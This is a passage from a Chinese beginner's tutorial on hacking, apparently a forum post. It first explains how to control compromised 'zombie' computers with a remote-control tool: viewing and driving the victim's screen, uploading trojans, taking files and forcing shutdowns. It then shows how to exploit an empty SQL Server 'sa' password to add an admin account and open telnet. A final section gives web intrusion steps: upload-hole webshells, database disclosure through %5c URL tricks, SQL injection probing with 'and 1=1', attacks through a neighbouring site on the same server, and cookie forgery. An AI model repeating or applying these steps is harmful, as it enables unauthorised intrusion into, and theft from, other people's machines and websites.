第５个按纽 (中间的第一个) ：这个按纽最厉害！先点这个, 再双击你下边肉鸡的图标进 去, 你不但能看见肉鸡的屏幕, 还能完完全全控制他的机器！, 不信, 你双击他桌面上的图 ！ 标试!！或者把他正在开的窗口关了！ (我怎么这么坏？) 是不是就和用自己电脑一样？哈！ 刚开始的时候你可能不习惯这种控制, 慢慢的你就会习惯了. 可是, 用这个要小心啊, 因为 你控制他电脑的动作, 只要你的肉鸡前有人, 他就会发现, 聪明一点的, 他就立即下线了, 而现在的肉鸡大部分都是浮动 ip, 好 , 你这个肉鸡白找了, 还没玩过瘾就没有了. . .
第６个按纽：只能看见屏幕, 但不能控制他的电脑, 适合观察他机器的动静, 比如猜猜看 他机器前现在有没有人啊
第７个按纽：另类的 telnet 功能, 你用这个模式进去后, 看见的就和 cmd 下差不多, 你可 以在这个下边给你的这个肉鸡加个密码, 这样后来的入侵者就进不去了 (当然高手还是能进 去, 不过他肯定要利用其他漏洞了) , 并且你还可以在下边做你想做的一切！
第８个按纽, 进入文件夹模式. 上边的是你机器的文件夹, 下边的当然是他的了

，你可以 在这里把你机器里的木马传到他机器上， 当然你要是发现他机器上有什么你想要的， 也可以

下下来，并且一切都在神不知鬼不觉当中（贼？？）具体的做法？一个字：拖！把你的文件 用鼠标左键按着拖到下边他的文件夹上松开是上传，反过来就是下载了）方便吧？

第 9 个按纽，可以远程给他关机，重起什么的，怎么做不要我说了吧？RA 真的很好用， 爽！

第 3 步：要是出现这样： 主机:218.88.55.55 SQL 漏洞: sa 帐号密码为空。 建立系统管理员帐号(shanlu)成功。 这说明我们可以用 SQL 漏洞了，看见 WinntAutoAttack 的那个“SQLCMD 执行”的选项卡没 有？点它。 在“主机”后边输入 ip，其他的不动，点“连接”，出现了“连接到主机:218.88.55.55”这个时候 你点下“执行” （默认的执行"dir c:\"） 他的 c 盘文件是不是在你面前了？比如在下边执行“net， start telnet”就是把它的 telnet 打开，然后开个 cmd 窗口，用刚才的管理员帐号"shanlu"telnet 上去吧！具体怎么做，我在下个文章里讲 ipc$的时候再讲。

其实，这个是完完全全骇客的做法，时间长了，你就会发现，这样做一点意思也没有，渐渐 的你就失去了当初的那种成就感，毕竟，在这个过程中，当你把过程摸熟了，整个入侵过程 你不用用一点脑筋，不过，刚开始这么干还是有好处的，它会增加你的信心，并且，有的时 候你可能会遇到一些问题，这样，你就可以慢慢的掌握一点入侵的知识了.

本来想继续写第二部 ipc$入侵实用过程的， 因为 ipc$入侵教程我看在网上虽然有好多， 可无 非就是那几个模式， 不怎么实用， 对于新手来说， 其中不可能会象他们举的例子那么顺利的， 要是遇到一点问题，就根本没办法进行下去了，所以我想根据我的实战经验，写个实用的 ipc$入侵教程，可是现在手真的好累，明天回学校，可能要等下个星期回到家再写了，正好 这个星期，有兴趣的可以先试下我这个教程怎么样，等这个熟悉了，我们再进行下一课，好 了，希望大家看完了，感觉实用的话，就顶一下！

再说一遍，我只是个菜鸟，请高手不要见笑！ ！

八.网站入侵

首先介绍下什么样的站点可以入侵：必须是动态的网站 比如 asp php jsp 这种形式的站点

后缀为.htm 的站点劝大家还是不要入侵了吧（入侵几率几乎为 0）

入侵介绍： 1。上传漏洞 2。暴库 3。注入 4。旁注 5。COOKIE 诈骗

1：上传漏洞，这个漏洞在 DVBBS6.0 时代被黑客们利用的最为猖獗，利用上传漏洞可以直 接得到 WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。

怎样利用： 在网站的地址栏中网址后加上/upfile.asp 如果显示 上传格式不正确[重新上传] 这 样的字样 8 成就是有长传漏洞了找个可以上传的工具直接可以得到 WEBSHELL

工具介绍：上传工具 老兵的上传工具 DOMAIN3.5 这两个软件都可以达到上传的目的 用 NC 也可以提交

WEBSHELL 是什么：WEBSHELL 在上节课简单的介绍了下，许多人都不理解，这里就详 细讲下，其实 WEBSHELL 并不什么深奥的东西，是个 WEB 的权限，可以管理 WEB，修改 主页内容等权限，但是并没有什么特别高的权限， （这个看管理员的设置了）一般修改别人 主页大多都需要这个权限，接触过 WEB 木马的朋友可能知道（比如老兵的站长助手就是 WEB 木马 海阳 2006 也是 WEB 木马）我们上传漏洞最终传的就是这个东西，有时碰到权 限设置不好的服务器可以通过 WEBSHELL 得到最高权限。

2。暴库：这个漏洞现在很少见了，但是还有许多站点有这个漏洞可以利用，暴库就是提交 字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限了。

暴库方法： 比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=

7&ID=161 我门就 可以把 com/dispbbs 中间的/换成%5c 如果有漏洞直接得到数据库的绝对路径 用寻雷什么的 下载下来就可以了 还有种方法就是利用默认的数据库路径 http://www.xxx.com/ 后面加上 conn.asp 如果没有修改默认的数据库路径也可以得到数据库的路径（注意：这里的/也要换 成%5c）

为什么换成%5c：因为在 ASCII 码里/等于%5c，有时碰到数据库名字为/#abc.mdb 的为什么 下不了？ 这里需要把#号换成%23 就可以下载了，为什么我暴出的数据库文件是以。ASP 结尾的？我该怎么办？这里可以在下载时把。ASP 换成。MDB 这样就可以下载了如果还下 载不了可能作了防下载。

3。注入漏洞：这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站 也存在着注入漏洞。 注入漏洞是因为字符过滤不严禁所造成的， 可以得到管理员的帐号密码

等相关资料。

怎样利用：我先介绍下怎样找漏洞比如这个网址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 后面是以 ID=数字形式结尾的站我们可 以手动在后面加上个 and 1=1 看看 如果显示正常页面 再加上个 and 1=2 来看看 如果返 回正常页面说明没有漏洞 如果返回错误页面说明存在注入漏洞。如果加 and 1=1 返回错误 页面说明也没有漏洞，知道了站点有没有漏洞我门就可以利用了 可以手工来猜解也可以用 工具现在工具比较多（NBSI NDSI 啊 D DOMAIN 等）都可以用来猜解帐号密码，因为是菜 鸟接触，我还是建议大家用工具，手工比较烦琐。

4。旁注：我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器 的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。打个形象的比 喻， 比如你和我一个楼 我家很安全,而你家呢 却漏洞百出 现在有个贼想入侵我家 他对我 家做了监视(也就是扫描)发现没有什么可以利用的东西 那么这个贼发现你家和我家一个楼 你家很容易就进去了 他可以先进入你家 然后通过你家得到整个楼的钥匙(系统权限) 这样 就自然得到我的钥匙了 就可以进入我的家(网站)

工具介绍：还是名小子的 DOMIAN3.5 不错的东西 ，可以检测注入 可以旁注 还可以上传！

5.COOKIE 诈骗：许多人不知道什么是 COOKIE，COOKIE 是你上网时由网站所为你发送的 值记录了你的一些资料，比如 IP，姓名什么的。

怎样诈骗呢？如果我们现在已经知道了 XX 站管理员的站号和 MD5 密码了 但是破解 不出 来密码 （MD5 是加密后的一个 16 位的密码）我们就可以用 COOKIE 诈骗来实现，把自己 的 ID 修改成管理员的，MD5 密码也修改成他的，有工具可以修改 COOKIE 这样就答到了 COOKIE 诈骗的目的，系统以为你就是管理员了。

今天的介绍就到这里了 比较基础，都是概念性的东西，所有的都是我的个人理解，如有不 正确的地方希望大家指出。